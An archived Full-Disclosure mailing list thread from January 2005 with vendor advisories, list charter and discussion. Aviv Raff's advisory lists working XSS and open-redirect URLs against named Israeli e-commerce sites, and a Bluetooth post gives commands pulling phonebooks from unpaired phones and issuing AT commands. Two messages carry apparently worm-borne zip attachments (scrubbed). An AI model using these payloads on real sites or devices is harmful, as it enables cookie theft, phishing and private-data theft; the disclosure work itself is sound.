>agrees they occasionally sensationalize threats -- but a global cyber-terror
>prediction seems highly out of character for them.  And the Kaspersky.com
>website so far offers no special news/advice for its clients.  The Novosti
>newswire oddly claims Kaspersky Labs "will be switched over to the 'yellow'
>danger level" on Thursday, but this, too, seems highly out of character for
>the antivirus firm.
>
>For all of these reasons, Vmyths dismisses this "Internet Terrorist Attack"
>story as baseless hysteria.
>
>Vmyths assumes Alexander Gostev & Eugene Kaspersky were quoted out of
>context -- but we don't know HOW MUCH they were quoted out of context.  This
>may be an example of a "worst-case scenario briefing" gone awry.  (See
>http://Vmyths.com/rant.cfm?id=540&page=4 for more on this subtopic.)  We
>asked Kaspersky Labs to comment on the Russian news stories and we'll
>publish their response as soon as we get it.
>
>Unfortunately, the global media has a FETISH for "end of the Internet"
>stories.  Vmyths predicts the following:
>
>   (1) On Wednesday, news outlets around the world will report the Novosti
>newswire (and stories derived from it) without question.  A sensationalist
>reporter might even link cyber-terrorism to the breaking news of two Russian
>jetliners that just crashed.  "Did Islamic hackers take over the cockpits?"
>   (2) On Thursday, a few news outlets will acknowledge the prediction
>flopped.
>   (3) On Friday, reporters will dump the story as a non-event.
>
>The SANS "Internet Storm Center" (http://isc.sans.org) currently reports a
>"green" status for the Internet.  SANS "predicts that the Internet will not
>vaporize into a cloud of nothingness this Thursday, but if it does, it's
>been our pleasure to help stave off its inevitable annihilation this long."
>Vmyths applauds SANS for its sense of humor.
>
>Don't bet on an Islamic cyber-attack this Thursday.  Stay calm.  Stay
>reasoned.  And stay tuned to Vmyths.
>
>Rob Rosenberger, editor
>http://Vmyths.com
>Rob at Vmyths.com
>(319) 646-2800
>
>Acknowledgements:
>  * Cory Altheide (SANS), for URLs to Russian news stories
>  * Confidential source, for the Novosti newswire
>
>CATEGORY: Dire predictions of a cyber-war or cyber-terrorism
>
>--------------- Useful links ------------------
>
>Common cliches in the antivirus world
>http://Vmyths.com/resource.cfm?id=22&page=1
>
>False Authority Syndrome
>http://Vmyths.com/fas/fas1.cfm
>
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.netsys.com/full-disclosure-charter.html
>
>  
>
This seems to happen in all sorts of media. A friend of mine gave me a 
book called "Crossing the Rubicon" which at first site is just chock 
full of footnotes and references. Much of it is believers quoting other 
believers. Whereas Adam Curtis' Power of Nightmares seems to just have 
things that mostly check out. But this is getting far afield from 
computer security in some ways, in other ways it isn't. Most AV 
companies and other security firms sell pretty much freedom from 
dangers, some of them very real and that is all well and good.  But some 
are not above trumping things up and using scare tactics. It does 
everyone on a dis-service when people do these things, If something real 
coms along people might ignore it. Of course if Adam Curtis is right, 
the last thing 20+ dissaffected people scattered over the world want to 
do is bring down the thing that lets them communicate.


Have Fun,
Sends Steve




From thor at pivx.com  Sun Jan  9 11:06:58 2005
From: thor at pivx.com (thor at pivx.com)
Date: Sun, 9 Jan 2005 16:36:58 +0530
Subject: [Full-Disclosure] Re: Re: document_all
Message-ID: <200501091106.j09B6ers018795@lists.netsys.com>

Please read the document.

-------------- next part --------------
A non-text attachment was scrubbed...
Name: document.zip
Type: application/octet-stream
Size: 32016 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050109/ff0d3888/attachment.obj 

From barrie at reboot-robot.net  Sun Jan  9 12:02:01 2005
From: barrie at reboot-robot.net (Barrie Dempster)
Date: Sun, 09 Jan 2005 12:02:01 +0000
Subject: [Full-Disclosure] Using Google Desktop Search for remote
	system monitoring
In-Reply-To: <41E063D8.8050906@sharp-ideas.net>
References: <41E063D8.8050906@sharp-ideas.net>
Message-ID: <1105272122.4602.6.camel@localhost.localdomain>

On Sat, 2005-01-08 at 17:51 -0500, Abe Usher wrote:
<snip>
> If you are interested in trying "desktop" search remotely, check out my
> write up at:
> http://www.sharp-ideas.net/

That isn't entirely remote from what I can see. You need to know the
salt value before you can find the page, you'd have to gain that value
locally each time in order to access the page remotely. Unless you find
out where it's stored and pipe that over the connection.

You could however code a small program to run on the google desktop
machine which both monitors the google desktop and opens a socket for
remote use, As it stands the  method you use isn't entirely useful other
than showing that you can redirect a loopback port to a network
accessible port which I'm sure we are all aware off.

Are you going to take this further or was it like you said just for
fun ?

With Regards..
Barrie Dempster (zeedo) - Fortiter et Strenue

  http://www.bsrf.org.uk

[ gpg --recv-keys --keyserver www.keyserver.net 0x96025FD0 ]




-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: This is a digitally signed message part
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050109/a0b0d374/attachment.bin 

From martin.pitt at canonical.com  Sun Jan  9 12:25:27 2005
From: martin.pitt at canonical.com (Martin Pitt)
Date: Sun, 9 Jan 2005 13:25:27 +0100
Subject: [Full-Disclosure] [USN-57-1] Linux kernel vulnerabilities
Message-ID: <20050109122527.GA28123@box79162.elkhouse.de>

===========================================================
Ubuntu Security Notice USN-57-1		   January 09, 2005
linux-source-2.6.8.1 vulnerabilities
CAN-2004-1235, CAN-2004-1337
===========================================================

A security issue affects the following Ubuntu releases:

Ubuntu 4.10 (Warty Warthog)

The following packages are affected:

linux-image-2.6.8.1-4-386
linux-image-2.6.8.1-4-686
linux-image-2.6.8.1-4-686-smp
linux-image-2.6.8.1-4-amd64-generic
linux-image-2.6.8.1-4-amd64-k8
linux-image-2.6.8.1-4-amd64-k8-smp
linux-image-2.6.8.1-4-amd64-xeon
linux-image-2.6.8.1-4-k7
linux-image-2.6.8.1-4-k7-smp
linux-image-2.6.8.1-4-power3
linux-image-2.6.8.1-4-power3-smp
linux-image-2.6.8.1-4-power4
linux-image-2.6.8.1-4-power4-smp
linux-image-2.6.8.1-4-powerpc
linux-image-2.6.8.1-4-powerpc-smp
linux-patch-debian-2.6.8.1

The problem can be corrected by upgrading the affected package to
version 2.6.8.1-16.8.  In general, a standard system upgrade is
sufficient to effect the necessary changes.

Details follow:

Paul Starzetz discovered a race condition in the ELF library and a.out
binary format loaders, which can be locally exploited in several
different ways to gain root privileges. (CAN-2004-1235)

Liang Bin found a design flaw in the capability module. After this
module was loaded on demand in a running system, all unprivileged user
space processes got all kernel capabilities (thus essentially root
privileges). This is mitigated by the fact that the capability module
is loaded very early in the boot process of a standard Ubuntu system,
when no unprivileged user processes are yet running. (CAN-2004-1337)

Finally, this update fixes a memory leak in the ip_conntrack_ftp
iptables module. However, it is believed that this is not exploitable.

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-source-2.6.8.1_2.6.8.1-16.8.diff.gz
      Size/MD5:  3119076 f57582c0606d1ea0e076b65d91eb05cd
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-source-2.6.8.1_2.6.8.1-16.8.dsc
      Size/MD5:     2119 922c3d6e417c76131ba8b7b5d97d11f8
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-source-2.6.8.1_2.6.8.1.orig.tar.gz
      Size/MD5: 44728688 79730a3ad4773ba65fab65515369df84

  Architecture independent packages:

    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-doc-2.6.8.1_2.6.8.1-16.8_all.deb
      Size/MD5:  6158108 56751d7f854af87ff13abaf07cc320ab
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-patch-debian-2.6.8.1_2.6.8.1-16.8_all.deb
      Size/MD5:  1474804 3755cba14e58fa15fe2668a23fc7c541
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-source-2.6.8.1_2.6.8.1-16.8_all.deb
      Size/MD5: 36721386 4cdf59d135078a70d53e452639a8ee95
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-tree-2.6.8.1_2.6.8.1-16.8_all.deb
      Size/MD5:   307050 fd55b766e61818b11d4be2637b7ed327

  amd64 architecture (Athlon64, Opteron, EM64T Xeon)

    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-4-amd64-generic_2.6.8.1-16.8_amd64.deb
      Size/MD5:   247258 925bd87655e7bcfdbd9ba63259ebc97a
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-4-amd64-k8-smp_2.6.8.1-16.8_amd64.deb
      Size/MD5:   242812 bd45abc5a7d111058cdbddb112edf788
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-4-amd64-k8_2.6.8.1-16.8_amd64.deb
      Size/MD5:   246360 8c7a1a5ce123368fc7c406f64f0e1362
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-4-amd64-xeon_2.6.8.1-16.8_amd64.deb
      Size/MD5:   241166 7b1efc7c6bdcf0c5ef860c4fea64c2f1
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-4_2.6.8.1-16.8_amd64.deb
      Size/MD5:  3177796 dc6779154eaa2611ff962e82a97ea06d
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-4-amd64-generic_2.6.8.1-16.8_amd64.deb
      Size/MD5: 14353270 9138d0af85f5470120f5f5aebf2b87c8
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-4-amd64-k8-smp_2.6.8.1-16.8_amd64.deb
      Size/MD5: 14828294 4b1543eb21a6a95bc55e9957e52db973
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-4-amd64-k8_2.6.8.1-16.8_amd64.deb
      Size/MD5: 14861218 3a72804e772899f91313d42732aec7dc
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-4-amd64-xeon_2.6.8.1-16.8_amd64.deb
      Size/MD5: 14684396 4f267f32b0718d4934e84b68363263a5

  i386 architecture (x86 compatible Intel/AMD)

    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-4-386_2.6.8.1-16.8_i386.deb
      Size/MD5:   276100 885167bfed03fc111dbf50fc242a175e
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-4-686-smp_2.6.8.1-16.8_i386.deb
      Size/MD5:   270682 525c395bf145741ba8acbdf711759388
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-4-686_2.6.8.1-16.8_i386.deb
      Size/MD5:   273868 904cf784d687ee7f266a3c6fb7cfe84e
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-4-k7-smp_2.6.8.1-16.8_i386.deb
      Size/MD5:   270930 15611aa887ef00452f4b91081d0d146e
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-4-k7_2.6.8.1-16.8_i386.deb
      Size/MD5:   273912 4a2bbeed39e35ade837bf0c5252d18a8
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-4_2.6.8.1-16.8_i386.deb
      Size/MD5:  3218544 1728d522d94682e28c019ac52114e5ee
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-4-386_2.6.8.1-16.8_i386.deb
      Size/MD5: 15495620 07d960f58f7c62219f3bab8c84f5351d
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-4-686-smp_2.6.8.1-16.8_i386.deb
      Size/MD5: 16344592 43736aeb35e58650a4dc669d24586c9e
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-4-686_2.6.8.1-16.8_i386.deb
      Size/MD5: 16510374 58e769a36c95b7e2fb02c346f8e1a023
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-4-k7-smp_2.6.8.1-16.8_i386.deb
      Size/MD5: 16446580 707ab31fed50380301987cdf908f32fc
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-4-k7_2.6.8.1-16.8_i386.deb
      Size/MD5: 16572122 130a1e3e0756f36baeb2abe1d4cc4d18

  powerpc architecture (Apple Macintosh G3/G4/G5)

    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-4-power3-smp_2.6.8.1-16.8_powerpc.deb
      Size/MD5:   211976 28527f537245e89463b6d864f35f7618
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-4-power3_2.6.8.1-16.8_powerpc.deb
      Size/MD5:   212792 d4caa028ddd148a5cf626e24fd56e2b1
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-4-power4-smp_2.6.8.1-16.8_powerpc.deb
      Size/MD5:   211770 1a679f9a8cb5ca1ac9ca09e94620b932
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-4-power4_2.6.8.1-16.8_powerpc.deb
      Size/MD5:   212552 24bd43a4175096d6c6902c09d3f27ada
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-4-powerpc-smp_2.6.8.1-16.8_powerpc.deb
      Size/MD5:   212468 cf64644599f48e6f79607f2ef2828a4f
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-4-powerpc_2.6.8.1-16.8_powerpc.deb
      Size/MD5:   214188 e9e282b0a5bced4d7076be4c3579d2fc
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-4_2.6.8.1-16.8_powerpc.deb
      Size/MD5:  3295930 2f1221af1c58f4022c4b1d2bd65969b0
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-4-power3-smp_2.6.8.1-16.8_powerpc.deb
      Size/MD5: 16365444 43639f3be7e293022b35ee5c81ab5e56
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-4-power3_2.6.8.1-16.8_powerpc.deb
      Size/MD5: 15943014 29b418119238132d57cec31b664ded6f
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-4-power4-smp_2.6.8.1-16.8_powerpc.deb
      Size/MD5: 16352068 14ba608517df8f646a0566d8ccf8d8d0
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-4-power4_2.6.8.1-16.8_powerpc.deb
      Size/MD5: 15922188 e0e7bb9b81990390b0a10b98b9cb628d
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-4-powerpc-smp_2.6.8.1-16.8_powerpc.deb
      Size/MD5: 16287446 1056d6e8e50c52acd204fa03ad0deb40
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-4-powerpc_2.6.8.1-16.8_powerpc.deb
      Size/MD5: 15976232 857d8bfc1d5f658c319cba44b676ed7b
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: Digital signature
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050109/faae6614/attachment.bin 

From tcleary2 at csc.com.au  Sun Jan  9 14:24:52 2005
From: tcleary2 at csc.com.au (tcleary2 at csc.com.au)
Date: Sun, 9 Jan 2005 19:54:52 +0530
Subject: [Full-Disclosure] Re: Error
Message-ID: <200501091424.j09EOXrs000539@lists.netsys.com>


Now a new message is available.


+++ Attachment: No Virus found
+++ MC-Afee AntiVirus - www.mcafee.com

-------------- next part --------------
A non-text attachment was scrubbed...
Name: data_full-disclosure.zip
Type: application/octet-stream
Size: 32010 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050109/55bb2631/attachment.obj 

From jerome.athias at free.fr  Sun Jan  9 09:38:07 2005
From: jerome.athias at free.fr (jerome.athias)
Date: Sun, 9 Jan 2005 10:38:07 +0100
Subject: [Full-Disclosure] Microsoft AntiSpyware - First Impressions
In-Reply-To: <4f0e191c05010710521ebd599@mail.gmail.com>
Message-ID: <20050109093823.670041734CE@postfix3-1.free.fr>

You could be interested by an article so called "MS AntiSpyware vs Ad-Aware
vs SpyBot"

http://www.flexbeta.net/main/articles.php?action=show&id=84&perpage=1&pagenu
m=1

Regards,
Jerome



From johnc at grok.org.uk  Sun Jan  9 17:29:46 2005
From: johnc at grok.org.uk (John Cartwright)
Date: Sun, 9 Jan 2005 17:29:46 +0000
Subject: [Full-Disclosure] List Charter
Message-ID: <20050109172946.GA9751@grok.org.uk>

[Full-Disclosure] Mailing List Charter
John Cartwright <johnc at grok.org.uk> and Len Rose <len at netsys.com>
 
Introduction & Purpose
----------------------
 
This document serves as a charter for the [Full-Disclosure] mailing
list hosted at lists.netsys.com.
 
The list was created on 9th July 2002 by Len Rose, and is primarily
concerned with security issues and their discussion.  The list is
administered by Len Rose and John Cartwright.

Subscription Information
------------------------

Subscription/unsubscription may be performed via the HTTP interface 
located at http://lists.netsys.com/mailman/listinfo/full-disclosure.

Alternatively, commands may be emailed to 
full-disclosure-request at lists.netsys.com, send the word 'help' in 
either the message subject or body for details.
 
Moderation & Management
-----------------------
 
The [Full-Disclosure] list is unmoderated. Typically posting will be
restricted to members only, however the administrators may choose to
accept submissions from non-members based on individual merit and
relevance.
 
It is expected that the list will be largely self-policing, however in
special circumstances (eg spamming, misappropriation) then offending
members may be removed from the list by the management.
 
An archive of postings is available at
http://lists.netsys.com/pipermail/full-disclosure/
 
Acceptable Content
------------------
 
Any information pertaining to vulnerabilities is acceptable, for
instance announcement and discussion thereof, exploit techniques and
code, related tools and papers, and other useful information.
 
Gratuitous advertisement, product placement, or self-promotion is
forbidden.  Disagreements, flames, arguments, and off-topic discussion
should be taken off-list wherever possible.

Humour is acceptable in moderation, providing it is inoffensive.
Politics should be avoided at all costs.
 
Members are reminded that due to the open nature of the list, they
should use discretion in executing any tools or code distributed via
this list.
 
Posting Guidelines
------------------
 
The primary language of this list is English. Members are expected to
maintain a reasonable standard of netiquette when posting to the list.
 
Quoting should not exceed that which is necessary to convey context,
this is especially relevant to members subscribed to the digested
version of the list.
 
The use of HTML is discouraged, but not forbidden. Signatures will
preferably be short and to the point, and those containing
'disclaimers' should be avoided where possible.
 
Attachments may be included if relevant or necessary (e.g. PGP or
S/MIME signatures, proof-of-concept code, etc) but must not be active
(in the case of a worm, for example) or malicious to the recipient.
 
Vacation messages should be carefully configured to avoid replying to
list postings. Offenders will be excluded from the mailing list until
the problem is corrected.

Members may post to the list by emailing 
full-disclosure at lists.netsys.com. Do not send subscription/
unsubscription mails to this address, use the -request address 
mentioned above.
 
Charter Additions/Changes
-------------------------
 
The list charter will be published at
http://lists.netsys.com/full-disclosure-charter.html
 
In addition, the charter will be posted monthly to the list by the
management.  

Alterations will be made after consultation with list members and a 
concensus has been reached.


From stfunub at gmail.com  Sun Jan  9 20:12:54 2005
From: stfunub at gmail.com (Andrew Smith)
Date: Sun, 9 Jan 2005 20:12:54 +0000
Subject: [Full-Disclosure] Microsoft AntiSpyware - First Impressions
In-Reply-To: <20050109093823.670041734CE@postfix3-1.free.fr>
References: <4f0e191c05010710521ebd599@mail.gmail.com>
	<20050109093823.670041734CE@postfix3-1.free.fr>
Message-ID: <33713abc05010912124cd480bf@mail.gmail.com>

I hate to say this.. but it's actually quite good.
Picked up spyware i'd been forced to manually disable (because
adaware+spybots&d didn't see it) and gave me an *option* to remove
kazaa et al (as, whilst they contain spyware i may want to keep them).


From koon at gentoo.org  Sun Jan  9 22:08:19 2005
From: koon at gentoo.org (Thierry Carrez)
Date: Sun, 09 Jan 2005 23:08:19 +0100
Subject: [Full-Disclosure] [ GLSA 200501-11 ] Dillo: Format string
	vulnerability
Message-ID: <41E1AB53.1050504@gentoo.org>

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory                           GLSA 200501-11
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: Dillo: Format string vulnerability
      Date: January 09, 2005
      Bugs: #76665
        ID: 200501-11

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

Dillo is vulnerable to a format string bug, which may result in the
execution of arbitrary code.

Background
==========

Dillo is a small and fast multi-platform web browser based on GTK+.

Affected packages
=================

    -------------------------------------------------------------------
     Package           /  Vulnerable  /                     Unaffected
    -------------------------------------------------------------------
  1  www-client/dillo     < 0.8.3-r4                       >= 0.8.3-r4

Description
===========

Gentoo Linux developer Tavis Ormandy found a format string bug in
Dillo's handling of messages in a_Interface_msg().

Impact
======

An attacker could craft a malicious web page which, when accessed using
Dillo, would trigger the format string vulnerability and potentially
execute arbitrary code with the rights of the user running Dillo.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All Dillo users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=www-client/dillo-0.8.3-r4"

References
==========

  [ 1 ] CAN-2005-0012
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0012

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200501-11.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security at gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0

-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 256 bytes
Desc: OpenPGP digital signature
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050109/90b5062c/attachment.bin 

From avivra at 012.net.il  Sun Jan  9 22:44:32 2005
From: avivra at 012.net.il (Aviv Raff)
Date: Mon, 10 Jan 2005 00:44:32 +0200
Subject: [Full-Disclosure] Leading Israeli e-commerce sites XSS
	vulnerabilities advisory
Message-ID: <0IA200827N6MOD20@i_mtaout3.012.net.il>


Leading Israeli e-commerce sites XSS vulnerabilities advisory


URL:  <http://www.raffon.net/advisories/commxss.html>
http://www.raffon.net/advisories/commxss.html
Date: January 10, 2005
Author: Aviv Raff 


Introduction

Many leading Israeli e-commerce sites are phishing enabled, and contain
pages which allow injecting code that can execute arbitrary scripts.



Technical Details

Many leading Israeli e-commerce sites generate dynamic HTML web pages using
user-submitted data, and data from other sources. Most of these sites do not
filter the data before presenting it to the user, and therefore are
vulnerable to Cross-Site Scripting. They allow injecting code that can
execute arbitrary scripts, steal the user's cookie, or display fake pages.
P1000 web site allows redirecting to external pages using a simple query
string input, which can be easily exploited by phishers.



Examples

NetAction: 
http://www.netaction.co.il/search.php?qsn=<img%20src=Images/space.gif%20onlo
ad=alert(document.cookie)%20>
http://www.netaction.co.il/personal.php?formPersonalID="><img%20src=Images/s
pace.gif%20onload=alert(document.cookie)%20> 
http://www.netaction.co.il/contact.php?formFirstName="><img%20src=Images/spa
ce.gif%20onload=alert(document.cookie)%20>

P1000:
http://www.p1000.co.il/default.asp?urladd=http://www.phisher.com

Wallashops:
http://www.wallashops.co.il/shopmind_portal_heb/main.asp?name="><script>aler
t(document.cookie)</script>
http://www.wallashops.co.il/shopmind_portal_heb/main.asp?name="%20onmouseove
r=eval("al"%2B"ert(doc"%2B"ument.coo"%2B"kie)")%20"

Zap:
http://www.zap.co.il/gsearch.asp?keyword=<script>alert(document.cookie)</scr
ipt>

GetIt:
http://www.getit.co.il/ie2/ProdList_Search.asp?sw1=<script>alert(document.co
okie)</script>

Sakal Online:
http://www.sakal.co.il/jsp/pg/SearchResultNew.jsp?searchType=byName&keyWord=
<script>alert(document.cookie)</script>

NfcShop:
http://shop.nfc.co.il/signin.asp?msg=<script>alert(document.cookie)</script>

Daka90:
http://daka90.ynet.co.il/Login/CdaPersonalAreaLogin/1,2141,,00.html?txtemail
='><script>alert(document.cookie)</script>

Olsale:
http://www.olsale.co.il/olsale/Login.aspx?urlsource=><script>alert(document.
cookie)</script>&type=1&rtype=1

Issta:
http://www.issta.co.il/heb/flight_details.asp?product_id=2092&source_id=6&pr
ice_id=3944&from_date='><script>alert(document.cookie)</script>10/04/2004&to
_date=31/12/2004&s=hp&file_name=main\regularflightBottom1.xml
http://www.issta.co.il/heb/flight_details.asp?product_id=2092&source_id=6&pr
ice_id=3944&from_date='%20onmouseover=alert(document.cookie)%20x='10/04/2004
&to_date=31/12/2004&s=hp&file_name=main\regularflightBottom1.xml 
Parsi:
http://www.parsi.co.il/SignIn.asp?referrer="><script>alert(document.cookie)<
/script>
http://www.parsi.co.il/SignIn.asp?referrer="><img%20src=/new_images/cat_p_do
t.jpg%20onload=eval("alert(doc"%2B"ume"%2B"nt."%2B"co"%2B"okie)",10)%20>

Arkia:
http://www.arkia.co.il/click/cl_4005.main?p_domestic_yn="><iframe%20src="htt
p://www.arkia.co.il/"%20onload="if%20(document.cookie!='')alert(document.coo
kie)"></iframe>

Printmall:
https://www.printmall.co.il/Artists/Join.asp?Artsts_FName="><script>alert(do
cument.cookie)</script>

One (This is actually a leading sport website, but it has a paid premium
section and also contains links to other e-commerce sites):
http://www.one.co.il/one/search.asp?data=<script>alert(document.cookie)</scr
ipt>
http://www.one.co.il/search/MoreArticals.asp?data=<script>alert(document.coo
kie)</script>



Solutions

All of the sites were contacted via email, or a suggestion form on
27/12/2004.
Netaction, P1000, GetIt, Daka90, Arkia and Printmall sites have already
fixed the vulnerabilities.
Wallashops, Issta and Parsi sites are partly fixed.
Other sites are still vulnerable, and one should be careful following a link
to those sites, or give confidential information.



Disclaimer: The information in this advisory and any of its demonstrations
is provided "as is" without warranty of any kind.


-- Copyright C 2004-2005 Aviv Raff. --

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050110/733c6e5b/attachment.html 

From eric-mailing at club-internet.fr  Sun Jan  9 23:01:23 2005
From: eric-mailing at club-internet.fr (Eric Detoisien)
Date: Mon, 10 Jan 2005 00:01:23 +0100
Subject: [Full-Disclosure] Re: Bluetooth: BlueSnarf and BlueBug Full
	Disclusore
Message-ID: <00a301c4f69f$28ca5c40$0100000a@lan>

An easy way to get phonebook on Ericsson T610 via bluetooth without pairing  :

tough:~# hcitool scan
 Scanning ...
        00:0A:D9:XX:XX:XX       T610

tough:~# sdptool browse 00:0A:D9:XX:XX:XX
 Browsing 00:0A:D9:XX:XX:XX ...
[...]
Service Name: OBEX Object Push
 Service RecHandle: 0x10005
 Service Class ID List:
   "OBEX Object Push" (0x1105)
 Protocol Descriptor List:
   "L2CAP" (0x0100)
   "RFCOMM" (0x0003)
     Channel: 10 -----------------------> only RFCOMM channels 10 and 15 are open
   "OBEX" (0x0008)
 Profile Descriptor List:
   "OBEX Object Push" (0x1105)
     Version: 0x0100
[...]
Service Name: OBEX Basic Imaging
 Service RecHandle: 0x1000b
 Service Class ID List:
   "" (0x111b)
 Protocol Descriptor List:
   "L2CAP" (0x0100)
   "RFCOMM" (0x0003)
     Channel: 15
   "OBEX" (0x0008)
 Profile Descriptor List:
   "" (0x111a)
     Version: 0x0100
[...]

tough:~# obexftp -b 00:0A:D9:XX:XX:XX -B 10 -g telecom/pb.vcf 
 Browsing 00:0A:D9:FA:03:B7 ...
 Channel: 7
 No custom transport
 Connecting...bt: 1
 done
 Receiving telecom/pb.vcf.../done
 Disconnecting...done


Eric Detoisien


> The Bluebug, as described on [1] is trivially exploitable on some non-Symbian
> Nokia phones. It allows attacker to create serial profile connection without
> pairing or asking for permission, therefore it gives unauthorized access to all
> AT commands. It is possible to read/delete/send SMS messages, add/view/delete
> phonebook entries, change call diverts, initiate voice or data call.
> 
> Demonstration on Nokia 6310i:
> 
> laptop:~# hcitool scan
> Scanning ...
>          00:60:57:38:8C:D8       Nokia 6310i
> laptop:~# rfcomm bind /dev/rfcomm0 00:60:57:38:8C:D8 17
> 
> Now you can use plain AT commands, as described in manual [2] or Gnokii [3], for
> example:
> 
> laptop:~# cu -l rfcomm0 -s 9600
> Connected.
> [ATE1]
> OK
> ATI
> Nokia
> 
> OK
> AT+CPBS?
> +CPBS: "SM",0,100
> 
> OK
> AT+CPBR=?
> +CPBR: (1-100),48,18
> 
> OK
> ATDT+48609xxxxxx
> OK
> 
> As you can see, the bug is really trivial and looks rather like backdoor.
> 
> [1] - http://www.thebunker.net/security/bluetooth.htm
> [2] - http://ncsp.forum.nokia.com/download/?asset_id=11579;ref=devx
> [3] - http://www.gnokii.org/
> 


From srenna at vdbmusic.com  Mon Jan 10 00:04:49 2005
From: srenna at vdbmusic.com (Scott Renna)
Date: Sun, 09 Jan 2005 19:04:49 -0500
Subject: [Full-Disclosure] Re: Bluetooth: BlueSnarf and BlueBug
	Full	Disclusore
In-Reply-To: <00a301c4f69f$28ca5c40$0100000a@lan>
References: <00a301c4f69f$28ca5c40$0100000a@lan>
Message-ID: <41E1C6A1.5080901@vdbmusic.com>

